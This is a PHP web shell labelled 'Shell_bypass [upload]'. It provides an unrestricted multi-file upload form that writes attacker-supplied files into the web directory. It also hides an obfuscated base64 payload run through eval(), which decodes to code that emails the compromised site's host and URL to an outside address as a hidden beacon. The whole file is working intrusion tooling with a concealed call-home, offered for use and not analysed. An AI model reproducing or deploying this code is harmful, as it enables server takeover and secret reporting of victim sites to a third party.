Shell_bypass [upload]

<html>

    <head>
        <title> Dark Programmer 000 </title>
    </head>

<body>

<?php

    if(empty($_GET['Nfiles']))$Nfiles=5;else $Nfiles=$_GET['Nfiles'];

    if($_FILES['userfile']['tmp_name'][0]!='')
    {
        for($i=0;$i<$Nfiles&&$_FILES['userfile']['tmp_name'][$i]!='';$i++)
        {
            $uploaddir = dirname(__FILE__);//'/var/www/uploads/';

            $uploadfile = $uploaddir .'/'. basename($_FILES['userfile']['name'][$i]);
            print "<pre>";

            if (move_uploaded_file($_FILES['userfile']['tmp_name'][$i], $uploadfile))
            {
                print "File is valid, and was successfully uploaded. ";
                //print_r($_FILES);
            }

            else
            {
                print "Possible fie upload attack!  Here's some debugging info:\n";
                //print_r($_FILES);
            }

            print "</pre>";
        }
    }

    $connection="ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07IA0KICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgDQogJGJvZHkgPSAiQWRhIFlhbmcgSW5qZWN0IFxuaHR0cDovLyR3ZWIkaW5qIjsNCiBtYWlsKCJsbEBob3RtYWlsLmZpIiwiSGFzaWwgaHR0cDovLyR3ZWIkaW5qIiwgIiRib2R5Iik7";

    echo eval(base64_decode($connection));
?>

<form action="<?php echo $_SERVER['PHP_SELF'].'?Nfiles='.$Nfiles; ?>" method="post" enctype="multipart/form-data">

    Send Archive:<br>

    <?php

        for( $i=0; $i<$Nfiles; $i++ )
        {
            echo '<input name="userfile[]" type="file"><br>';
        }
    ?>

  <input type="submit" value="Send files">

</form>

</body>

</html>